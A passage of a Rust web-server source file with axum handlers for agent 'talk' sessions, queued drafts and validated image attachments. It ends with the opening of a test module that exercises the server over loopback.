3403 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3404 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3405 };
3406 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3407 let cfg = config_for(&repo).await?;
3408 let view = blocking(move || {
3409 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3410 let thinking = ui.is_thinking(&talk.id);
3411 Ok(TalkView::new(talk, thinking))
3412 })
3413 .await?;
3414 Ok((StatusCode::CREATED, Json(view)))
3415}
3416
3417async fn talk_detail(
3419 State(ui): State<Arc<Ui>>,
3420 Path(id): Path<String>,
3421) -> ApiResult<Json<TalkDetailView>> {
3422 blocking(move || {
3423 let id = resolve_talk(&ui.talks, &id)?;
3424 let talk = ui.talks.get(&id)?;
3425 let thinking = ui.is_thinking(&talk.id);
3426 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3427 .into_iter()
3428 .map(TaskView::from)
3429 .collect();
3430 Ok(Json(TalkDetailView {
3431 view: TalkView::new(talk, thinking),
3432 tasks,
3433 }))
3434 })
3435 .await
3436}
3437
3438#[derive(Debug, Default, Deserialize)]
3444#[serde(default, deny_unknown_fields)]
3445struct NewTalkTurn {
3446 text: String,
3447 attachments: Vec<String>,
3448}
3449
3450#[derive(Debug, Deserialize)]
3451#[serde(deny_unknown_fields)]
3452struct EditTalkPending {
3453 text: String,
3454 expected_text: String,
3455 expected_attachments: Vec<String>,
3456}
3457
3458#[derive(Debug, Deserialize)]
3459#[serde(deny_unknown_fields)]
3460struct ClearTalkPending {
3461 expected_text: String,
3462 expected_attachments: Vec<String>,
3463}
3464
3465async fn talk_say(
3477 State(ui): State<Arc<Ui>>,
3478 Path(id): Path<String>,
3479 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3480) -> ApiResult<(StatusCode, Json<TalkView>)> {
3481 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3482 if body.text.trim().is_empty() && body.attachments.is_empty() {
3483 return Err(ApiError::bad_request("say something"));
3484 }
3485
3486 let id = {
3487 let ui = Arc::clone(&ui);
3488 let asked = id.clone();
3489 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3490 };
3491 {
3495 let ui = Arc::clone(&ui);
3496 let id = id.clone();
3497 blocking(move || {
3498 let talk = ui.talks.get(&id)?;
3499 if !talk.status.open() {
3500 return Err(ApiError::conflict(format!(
3501 "talk {} is {} and takes no more turns",
3502 talk.short(),
3503 talk.status.as_str()
3504 )));
3505 }
3506 Ok(())
3507 })
3508 .await?;
3509 }
3510
3511 let attachments = {
3516 let ui = Arc::clone(&ui);
3517 let id = id.clone();
3518 let ids = body.attachments.clone();
3519 blocking(move || {
3520 ids.into_iter()
3521 .map(|att_id| {
3522 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3523 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3524 })
3525 })
3526 .collect::<ApiResult<Vec<talk::Attachment>>>()
3527 })
3528 .await?
3529 };
3530
3531 let start = {
3536 let ui = Arc::clone(&ui);
3537 let id = id.clone();
3538 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3539 };
3540 let turn_guard = match start {
3541 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3542 TalkTurnStart::Pending => {
3543 return Err(ApiError::conflict(
3544 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3545 ));
3546 }
3547 TalkTurnStart::Busy => {
3548 let (tx, rx) = tokio::sync::oneshot::channel();
3564 tokio::spawn({
3565 let ui = Arc::clone(&ui);
3566 let id = id.clone();
3567 let said = body.text.clone();
3568 async move {
3569 let written = blocking({
3570 let ui = Arc::clone(&ui);
3571 let id = id.clone();
3572 move || {
3573 let mut talk = ui.talks.get(&id)?;
3574 #[cfg(test)]
3579 if let Some(gate) = ui
3580 .busy_queue_gate
3581 .lock()
3582 .unwrap_or_else(PoisonError::into_inner)
3583 .take()
3584 {
3585 let _ = gate.reached.send(());
3586 let _ = gate.release.recv();
3587 }
3588 if let Err(error) =
3589 talk::queue(&mut talk, &ui.talks, &said, attachments)
3590 {
3591 if let Ok(fresh) = ui.talks.get(&id) {
3592 if !fresh.status.open() {
3593 return Err(ApiError::conflict(format!(
3594 "talk {} is {} and takes no more turns",
3595 fresh.short(),
3596 fresh.status.as_str()
3597 )));
3598 }
3599 }
3600 return Err(ApiError::from(error));
3601 }
3602 let claim = match ui.begin_queued_talk_turn(&id)? {
3613 Some(turn_guard) => {
3614 let (cfg, _) = Config::discover(&talk.repo, None)?;
3615 Some((talk.clone(), cfg, turn_guard))
3616 }
3617 None => None,
3618 };
3619 let thinking = ui.is_thinking(&id);
3620 Ok((TalkView::new(talk, thinking), claim))
3621 }
3622 })
3623 .await;
3624 let (view, reclaimed) = match written {
3625 Ok(pair) => pair,
3626 Err(e) => {
3627 let _ = tx.send(Err(e));
3632 return;
3633 }
3634 };
3635 let _ = tx.send(Ok(view));
3638 if let Some((talk, cfg, turn_guard)) = reclaimed {
3639 let talks = ui.talks.clone();
3640 drain_loop(talk, talks, cfg, id, turn_guard).await;
3641 }
3642 }
3643 });
3644 let view = rx
3645 .await
3646 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3647 return Ok((StatusCode::ACCEPTED, Json(view)));
3648 }
3649 };
3650
3651 let (talk, cfg) = {
3652 let ui = Arc::clone(&ui);
3653 let id = id.clone();
3654 blocking(move || {
3655 let talk = ui.talks.get(&id)?;
3656 let (cfg, _) = Config::discover(&talk.repo, None)?;
3657 Ok((talk, cfg))
3658 })
3659 .await?
3660 };
3661
3662 let talks = ui.talks.clone();
3663 let (tx, rx) = tokio::sync::oneshot::channel();
3678 tokio::spawn({
3679 let ui = Arc::clone(&ui);
3680 let talks = talks.clone();
3681 let id = id.clone();
3682 let said = body.text.clone();
3683 let mut talk = talk.clone();
3684 async move {
3685 let recorded = blocking({
3686 let talks = talks.clone();
3687 move || {
3688 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3689 if let Ok(fresh) = talks.get(&talk.id) {
3690 if !fresh.status.open() {
3691 return Err(ApiError::conflict(format!(
3692 "talk {} is {} and takes no more turns",
3693 fresh.short(),
3694 fresh.status.as_str()
3695 )));
3696 }
3697 }
3698 return Err(ApiError::from(error));
3699 }
3700 Ok((said.trim().to_owned(), talk))
3706 }
3707 })
3708 .await;
3709 let (text, mut talk) = match recorded {
3710 Ok(pair) => pair,
3711 Err(e) => {
3712 let _ = tx.send(Err(e));
3716 return;
3717 }
3718 };
3719 let queued = talk.clone();
3720 let thinking = ui.is_thinking(&id);
3721 let _ = tx.send(Ok((queued, thinking)));
3724
3725 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3726 tracing::warn!("talk {id} turn failed: {e:#}");
3730 }
3731 drain_loop(talk, talks, cfg, id, turn_guard).await;
3734 }
3735 });
3736
3737 let (queued, thinking) = rx
3738 .await
3739 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3740
3741 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3743}
3744
3745async fn talk_pending_resume(
3749 State(ui): State<Arc<Ui>>,
3750 Path(id): Path<String>,
3751) -> ApiResult<(StatusCode, Json<TalkView>)> {
3752 let id = {
3753 let ui = Arc::clone(&ui);
3754 let asked = id.clone();
3755 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3756 };
3757 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3758 return Err(ApiError::conflict(
3759 "a talk turn is already running; the queued draft will be handled by it",
3760 ));
3761 };
3762 let (talk, cfg) = {
3763 let ui = Arc::clone(&ui);
3764 let id = id.clone();
3765 blocking(move || {
3766 let talk = ui.talks.get(&id)?;
3767 if !talk.status.open() {
3768 return Err(ApiError::conflict(format!(
3769 "talk {} is {} and takes no more turns",
3770 talk.short(),
3771 talk.status.as_str()
3772 )));
3773 }
3774 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3775 return Err(ApiError::conflict("there is no queued draft to resume"));
3776 }
3777 let (cfg, _) = Config::discover(&talk.repo, None)?;
3778 Ok((talk, cfg))
3779 })
3780 .await?
3781 };
3782 let view = TalkView::new(talk.clone(), true);
3783 let talks = ui.talks.clone();
3784 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3785 Ok((StatusCode::ACCEPTED, Json(view)))
3786}
3787
3788async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3804 let live_set = Arc::clone(&turn.turns);
3805 let mut turn = Some(turn);
3813 loop {
3814 let observed = live_set
3818 .lock()
3819 .unwrap_or_else(PoisonError::into_inner)
3820 .queued
3821 .get(&id)
3822 .copied()
3823 .unwrap_or(0);
3824 let drained = blocking({
3825 let talks = talks.clone();
3826 move || {
3827 let result = talk::drain(&mut talk, &talks);
3828 Ok((talk, result))
3829 }
3830 })
3831 .await;
3832 let (next_talk, result) = match drained {
3833 Ok(drained) => drained,
3834 Err(e) => {
3835 tracing::warn!(
3836 status = %e.status,
3837 message = %e.message,
3838 "talk {id} could not start queued-text drain"
3839 );
3840 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3841 turn.take()
3842 .expect("held for the whole loop until released here")
3843 .release(&mut live);
3844 break;
3845 }
3846 };
3847 talk = next_talk;
3848 let drained = match result {
3849 Ok(Some(drained)) => drained,
3850 Ok(None) => {
3851 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3852 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3853 continue;
3854 }
3855 turn.take()
3856 .expect("held for the whole loop until released here")
3857 .release(&mut live);
3858 break;
3859 }
3860 Err(e) => {
3861 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3862 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3863 turn.take()
3864 .expect("held for the whole loop until released here")
3865 .release(&mut live);
3866 break;
3867 }
3868 };
3869 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3870 tracing::warn!("talk {id} turn failed: {e:#}");
3871 }
3872 }
3873}
3874
3875async fn talk_pending_clear(
3877 State(ui): State<Arc<Ui>>,
3878 Path(id): Path<String>,
3879 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3880) -> ApiResult<Json<TalkView>> {
3881 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3882 blocking(move || {
3883 let id = resolve_talk(&ui.talks, &id)?;
3884 let mut talk = ui.talks.get(&id)?;
3885 if !talk.status.open() {
3886 return Err(ApiError::conflict(format!(
3887 "talk {} is {} and takes no more turns",
3888 talk.short(),
3889 talk.status.as_str()
3890 )));
3891 }
3892 if !talk::clear_pending_if_matches(
3893 &mut talk,
3894 &ui.talks,
3895 &body.expected_text,
3896 &body.expected_attachments,
3897 )? {
3898 return Err(ApiError::conflict(
3899 "queued message changed; reload it before clearing",
3900 ));
3901 }
3902 let thinking = ui.is_thinking(&talk.id);
3903 Ok(Json(TalkView::new(talk, thinking)))
3904 })
3905 .await
3906}
3907
3908async fn talk_pending_edit(
3912 State(ui): State<Arc<Ui>>,
3913 Path(id): Path<String>,
3914 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3915) -> ApiResult<Json<TalkView>> {
3916 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3917 let (view, reclaimed) = blocking({
3918 let ui = Arc::clone(&ui);
3919 move || {
3920 let id = resolve_talk(&ui.talks, &id)?;
3921 let mut talk = ui.talks.get(&id)?;
3922 if !talk.status.open() {
3923 return Err(ApiError::conflict(format!(
3924 "talk {} is {} and takes no more turns",
3925 talk.short(),
3926 talk.status.as_str()
3927 )));
3928 }
3929 if !talk::edit_pending_text(
3930 &mut talk,
3931 &ui.talks,
3932 &body.text,
3933 &body.expected_text,
3934 &body.expected_attachments,
3935 )? {
3936 return Err(ApiError::conflict(
3937 "queued message changed; reload it before editing",
3938 ));
3939 }
3940 let claim = match ui.begin_queued_talk_turn(&id)? {
3941 Some(turn_guard) => {
3942 let (cfg, _) = Config::discover(&talk.repo, None)?;
3943 Some((talk.clone(), cfg, id.clone(), turn_guard))
3944 }
3945 None => None,
3946 };
3947 let thinking = ui.is_thinking(&id);
3948 Ok((TalkView::new(talk, thinking), claim))
3949 }
3950 })
3951 .await?;
3952 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3953 let talks = ui.talks.clone();
3954 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3955 }
3956 Ok(Json(view))
3957}
3958
3959async fn talk_close(
3961 State(ui): State<Arc<Ui>>,
3962 Path(id): Path<String>,
3963) -> ApiResult<Json<TalkView>> {
3964 blocking(move || {
3965 let id = resolve_talk(&ui.talks, &id)?;
3966 let mut talk = ui.talks.get(&id)?;
3967 talk::close(&mut talk, &ui.talks)?;
3968 let thinking = ui.is_thinking(&talk.id);
3969 Ok(Json(TalkView::new(talk, thinking)))
3970 })
3971 .await
3972}
3973
3974async fn talk_reopen(
3976 State(ui): State<Arc<Ui>>,
3977 Path(id): Path<String>,
3978) -> ApiResult<Json<TalkView>> {
3979 blocking(move || {
3980 let id = resolve_talk(&ui.talks, &id)?;
3981 let mut talk = ui.talks.get(&id)?;
3982 talk::reopen(&mut talk, &ui.talks)?;
3983 let thinking = ui.is_thinking(&talk.id);
3984 Ok(Json(TalkView::new(talk, thinking)))
3985 })
3986 .await
3987}
3988
3989async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3999 blocking(move || {
4000 let id = resolve_talk(&ui.talks, &id)?;
4001 ui.talks.remove(&id)?;
4002 Ok(StatusCode::NO_CONTENT)
4003 })
4004 .await
4005}
4006
4007fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4009 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4010}
4011
4012async fn talk_attachment_post(
4015 State(ui): State<Arc<Ui>>,
4016 Path(id): Path<String>,
4017 headers: HeaderMap,
4018 body: Bytes,
4019) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4020 let mime = validate_attachment(&headers, &body)?;
4021 let name = filename_header(&headers);
4022 let data = body.to_vec();
4023 blocking(move || {
4024 let id = resolve_talk(&ui.talks, &id)?;
4025 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4026 Ok((StatusCode::CREATED, Json(att)))
4027 })
4028 .await
4029}
4030
4031async fn talk_attachment_get(
4034 State(ui): State<Arc<Ui>>,
4035 Path((id, att)): Path<(String, String)>,
4036) -> ApiResult<Response> {
4037 blocking(move || {
4038 let id = resolve_talk(&ui.talks, &id)?;
4039 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4040 return Err(ApiError::not_found(format!(
4041 "talk {id} has no attachment `{att}`"
4042 )));
4043 };
4044 Ok(attachment_response(&meta.mime, data))
4045 })
4046 .await
4047}
4048
4049fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4060 if data.len() > ATTACHMENT_MAX_BYTES {
4061 return Err(ApiError::bad_request(format!(
4062 "attachment is {} bytes, over the {} MiB limit",
4063 data.len(),
4064 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4065 ))
4066 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4067 }
4068 if data.is_empty() {
4069 return Err(ApiError::bad_request("attachment is empty"));
4070 }
4071 let declared = declared_mime(headers)?;
4072 match sniffed_mime(data) {
4073 Some(sniffed) if sniffed == declared => Ok(declared),
4074 Some(sniffed) => Err(ApiError::bad_request(format!(
4075 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4076 ))),
4077 None => Err(ApiError::bad_request(
4078 "the file's bytes do not match any accepted image format",
4079 )),
4080 }
4081}
4082
4083fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4087 let raw = headers
4088 .get(header::CONTENT_TYPE)
4089 .and_then(|v| v.to_str().ok())
4090 .unwrap_or("")
4091 .split(';')
4092 .next()
4093 .unwrap_or("")
4094 .trim()
4095 .to_ascii_lowercase();
4096 ATTACHMENT_MIME_WHITELIST
4097 .iter()
4098 .find(|&&m| m == raw)
4099 .copied()
4100 .ok_or_else(|| {
4101 if raw == "image/svg+xml" {
4102 ApiError::bad_request(
4103 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4104 not just a picture",
4105 )
4106 } else if raw.is_empty() {
4107 ApiError::bad_request("Content-Type is required for an attachment upload")
4108 } else {
4109 ApiError::bad_request(format!(
4110 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4111 image/gif or image/webp"
4112 ))
4113 }
4114 })
4115}
4116
4117fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4120 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4121 Some("image/png")
4122 } else if data.starts_with(b"\xff\xd8\xff") {
4123 Some("image/jpeg")
4124 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4125 Some("image/gif")
4126 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4127 Some("image/webp")
4128 } else {
4129 None
4130 }
4131}
4132
4133fn filename_header(headers: &HeaderMap) -> String {
4139 headers
4140 .get(FILENAME_HEADER)
4141 .and_then(|v| v.to_str().ok())
4142 .map(str::trim)
4143 .filter(|s| !s.is_empty())
4144 .unwrap_or("attachment")
4145 .to_owned()
4146}
4147
4148fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4155 let content_type = ATTACHMENT_MIME_WHITELIST
4156 .iter()
4157 .find(|&&m| m == mime)
4158 .copied()
4159 .unwrap_or("application/octet-stream");
4160 (
4161 [
4162 (header::CONTENT_TYPE, content_type),
4163 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4164 ],
4165 body,
4166 )
4167 .into_response()
4168}
4169
4170async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4178 let repo = repo.to_path_buf();
4179 blocking(move || {
4180 let (cfg, _) = Config::discover(&repo, None)?;
4181 Ok(cfg)
4182 })
4183 .await
4184}
4185
4186fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4192 let mut hits = ids
4193 .into_iter()
4194 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4195 match (hits.next(), hits.next()) {
4196 (Some(one), None) => Ok(one),
4197 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4198 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4199 "`{prefix}` matches more than one {what}, including {a} and {b}"
4200 ))),
4201 }
4202}
4203
4204#[cfg(test)]
4205mod tests {
4206 use pretty_assertions::assert_eq;
4207 use serde_json::Value;
4208 use tempfile::TempDir;
4209 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4210
4211 use super::*;
4212 use crate::config::Config;
4213 use crate::queue::{Source, TaskStatus};
4214
4215 const SETTLE_STEPS: usize = 3_000;
4226
4227 struct Fixture {
4233 home: TempDir,
4234 addr: SocketAddr,
4235 }
4236
4237 impl Fixture {
4238 async fn start() -> Self {
4239 Self::with_loop(launch_idle).await
4240 }
4241
4242 async fn with_loop(launch: Launch) -> Self {
4244 let home = TempDir::new().expect("temp home");
4245 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4246 Self { home, addr }
4247 }
4248
4249 async fn with_repo(repo: PathBuf) -> Self {
4253 let home = TempDir::new().expect("temp home");
4254 let addr = Self::serve(home.path(), repo, launch_idle).await;
4255 Self { home, addr }
4256 }
4257
4258 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4259 let queue = Queue::at(home.join("queue"));
4260 let runs = home.join("runs");
4261 std::fs::create_dir_all(&runs).expect("runs dir");
4262 let worktrees = home.join("wt").join("magi");
4263 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4264 let ui = Ui::new(
4265 queue,
4266 Questions::at(home.join("questions")),
4267 Talks::at(home.join("talks")),
4268 runs,
4269 home.to_path_buf(),
4270 repo,
4271 )
4272 .with_worktrees_root(worktrees)
4273 .with_launch(launch);
4274 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4275 .await
4276 .expect("bind loopback");
4277 let addr = listener.local_addr().expect("local addr");
4278 tokio::spawn(async move {
4279 let _ = axum::serve(listener, ui.router()).await;
4280 });
4281 addr
4282 }
4283
4284 fn queue(&self) -> Queue {
4285 Queue::at(self.home.path().join("queue"))
4286 }
4287
4288 fn questions(&self) -> Questions {
4289 Questions::at(self.home.path().join("questions"))
4290 }
4291
4292 fn talks(&self) -> Talks {
4293 Talks::at(self.home.path().join("talks"))
4294 }
4295
4296 fn runs(&self) -> PathBuf {
4297 self.home.path().join("runs")
4298 }
4299
4300 async fn get(&self, path: &str) -> Res {
4301 request(self.addr, "GET", path, None).await
4302 }
4303
4304 async fn head(&self, path: &str) -> Res {
4309 request(self.addr, "HEAD", path, None).await
4310 }
4311
4312 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4313 request(self.addr, "POST", path, body).await
4314 }
4315
4316 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4317 request_with(self.addr, "GET", path, None, extra).await
4318 }
4319
4320 async fn delete(&self, path: &str) -> Res {
4321 request(self.addr, "DELETE", path, None).await
4322 }
4323
4324 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4326 request_bytes(self.addr, path, headers, body).await
4327 }
4328 }
4329
4330 struct Res {
4331 status: u16,
4332 headers: String,
4333 head: String,
4338 body: String,
4339 bytes: Vec<u8>,
4343 }
4344
4345 impl Res {
4346 fn json(&self) -> Value {
4347 serde_json::from_str(&self.body)
4348 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4349 }
4350
4351 fn header(&self, name: &str) -> Option<&str> {
4353 self.head.lines().find_map(|line| {
4354 let (key, value) = line.split_once(':')?;
4355 key.trim()
4356 .eq_ignore_ascii_case(name)
4357 .then(|| value.trim_start().trim_end_matches('\r'))
4358 })
4359 }
4360 }
4361
4362 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4365 request_with(addr, method, path, body, &[]).await
4366 }
4367
4368 async fn request_with(
4372 addr: SocketAddr,
4373 method: &str,
4374 path: &str,
4375 body: Option<&str>,
4376 extra: &[(&str, &str)],
4377 ) -> Res {
4378 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4379 for (name, value) in extra {
4380 head.push_str(&format!("{name}: {value}\r\n"));
4381 }
4382 if let Some(body) = body {
4383 head.push_str("Content-Type: application/json\r\n");
4384 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4385 }
4386 head.push_str("\r\n");
4387 if let Some(body) = body {
4388 head.push_str(body);
4389 }
4390 let mut socket = tokio::net::TcpStream::connect(addr)
4391 .await
4392 .expect("connect to the test server");
4393 socket
4394 .write_all(head.as_bytes())
4395 .await
4396 .expect("write request");
4397 let mut raw = Vec::new();
4398 socket.read_to_end(&mut raw).await.expect("read response");
4399 let split = raw
4402 .windows(4)
4403 .position(|w| w == b"\r\n\r\n")
4404 .expect("a header block");
4405 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4406 let bytes = raw[split + 4..].to_vec();
4407 let status = head
4408 .lines()
4409 .next()
4410 .and_then(|line| line.split_whitespace().nth(1))
4411 .and_then(|code| code.parse().ok())
4412 .expect("a status line");
4413 Res {
4414 status,
4415 headers: head.to_lowercase(),
4416 head,
4417 body: String::from_utf8_lossy(&bytes).into_owned(),
4418 bytes,
4419 }
4420 }
4421
4422 async fn request_bytes(
4428 addr: SocketAddr,
4429 path: &str,
4430 headers: &[(&str, &str)],
4431 body: &[u8],
4432 ) -> Res {
4433 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4434 for (name, value) in headers {
4435 head.push_str(&format!("{name}: {value}\r\n"));
4436 }
4437 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4438 let mut socket = tokio::net::TcpStream::connect(addr)
4439 .await
4440 .expect("connect to the test server");
4441 socket
4442 .write_all(head.as_bytes())
4443 .await
4444 .expect("write request head");
4445 socket.write_all(body).await.expect("write request body");
4446 let mut raw = Vec::new();
4447 socket.read_to_end(&mut raw).await.expect("read response");
4448 let split = raw
4449 .windows(4)
4450 .position(|w| w == b"\r\n\r\n")
4451 .expect("a header block");
4452 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4453 let bytes = raw[split + 4..].to_vec();
4454 let status = head
4455 .lines()
4456 .next()
4457 .and_then(|line| line.split_whitespace().nth(1))
4458 .and_then(|code| code.parse().ok())
4459 .expect("a status line");
4460 Res {
4461 status,
4462 headers: head.to_lowercase(),
4463 head,
4464 body: String::from_utf8_lossy(&bytes).into_owned(),
4465 bytes,
4466 }
4467 }
4468
4469 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4471 let mut state = RunState::new(
4472 PathBuf::from("/repo/magi"),
4473 "main".to_owned(),
4474 "0123456789abcdef".to_owned(),
4475 "Add a web UI\n\nMobile first.".to_owned(),
4476 Config::default(),
4477 );
4478 state.id = id.to_owned();
4479 state.status = status;
4480 let dir = runs.join(id);
4481 std::fs::create_dir_all(&dir).expect("run dir");
4482 std::fs::write(
4483 dir.join("run.json"),
4484 serde_json::to_string_pretty(&state).expect("serialize run"),
4485 )
4486 .expect("write run.json");
4487 }
4488
4489 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4490 let body = serde_json::json!({
4491 "schema": 1,
4492 "pid": 4242,
4493 "started_at": Timestamp::now().to_string(),
4494 "updated_at": updated_at.to_string(),
4495 "idle": false,
4496 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4497 "completed": 7,
4498 "polls": 143,
4499 });
4500 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4501 }
4502
4503 fn launch_idle(
4513 _opts: daemon::Opts,
4514 stop: daemon::Stop,
4515 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4516 Box::pin(async move {
4517 while !stop.stopped() {
4518 tokio::time::sleep(Duration::from_millis(2)).await;
4519 }
4520 Ok(())
4521 })
4522 }
4523
4524 fn launch_broken(
4527 _opts: daemon::Opts,
4528 _stop: daemon::Stop,
4529 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4530 Box::pin(async {
4531 Err(anyhow::anyhow!(
4532 "publish the daemon status file: read-only file system"
4533 ))
4534 })
4535 }
4536
4537 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4544 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4545
4546 fn launch_knocking_on_the_way_out(
4553 _opts: daemon::Opts,
4554 stop: daemon::Stop,
4555 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4556 Box::pin(async move {
4557 while !stop.stopped() {
4558 tokio::time::sleep(Duration::from_millis(2)).await;
4559 }
4560 let addr = PARK_KNOCK
4561 .lock()
4562 .expect("park knock")
4563 .expect("the test set an address");
4564 let heard = request(addr, "GET", "/api/health", None).await.status;
4565 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4566 Ok(())
4567 })
4568 }
4569
4570 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4579 for _ in 0..SETTLE_STEPS {
4580 let view = fx.get("/api/loop").await.json();
4581 if want(&view) {
4582 return view;
4583 }
4584 tokio::time::sleep(Duration::from_millis(10)).await;
4585 }
4586 panic!(
4587 "the loop never settled: {}",
4588 fx.get("/api/loop").await.json()
4589 );
4590 }
4591
4592 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4594 let store = fx.questions();
4595 let mut q = Question::new(
4596 "20260902-000000-beef".to_owned(),
4597 "implement".to_owned(),
4598 "impl-A".to_owned(),
4599 summary.to_owned(),
4600 "because it matters".to_owned(),
4601 choices.iter().map(|c| (*c).to_owned()).collect(),
4602 );
4603 store.put(&mut q).expect("put question");
4604 q.id
4605 }
4606
4607 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4613 let store = fx.questions();
4614 let mut q = Question::new(
4615 "20260902-000000-beef".to_owned(),
4616 "land".to_owned(),
4617 "fix".to_owned(),
4618 "Merge this?".to_owned(),
4619 "the diff is in the panel".to_owned(),
4620 vec!["merge".to_owned(), "hold".to_owned()],
4621 );
4622 let staging = fx.home.path().join("staging");
4625 std::fs::create_dir_all(&staging).expect("staging dir");
4626 let sources: Vec<PathBuf> = assets
4627 .iter()
4628 .map(|(name, bytes)| {
4629 let path = staging.join(name);
4630 std::fs::write(&path, bytes).expect("write staged asset");
4631 path
4632 })
4633 .collect();
4634 store
4635 .put_panel(&mut q, html, &sources)
4636 .expect("write the panel");
4637 store.put(&mut q).expect("put question");
4638 q.id
4639 }
4640
4641 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4650 let store = fx.talks();
4651 std::fs::create_dir_all(store.root()).expect("talks dir");
4652 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4653 .expect("serialize a seat");
4654 let body = serde_json::json!({
4655 "schema": 1,
4656 "id": id,
4657 "repo": "/repo/magi",
4658 "agent": "mock",
4659 "status": status,
4660 "turns": [],
4661 "created_at": Timestamp::now().to_string(),
4662 "updated_at": Timestamp::now().to_string(),
4663 "seat": seat,
4664 });
4665 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4666 store.get(id).expect("the seeded talk has to be readable");
4667 id.to_owned()
4668 }
4669
4670 #[tokio::test]
4671 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
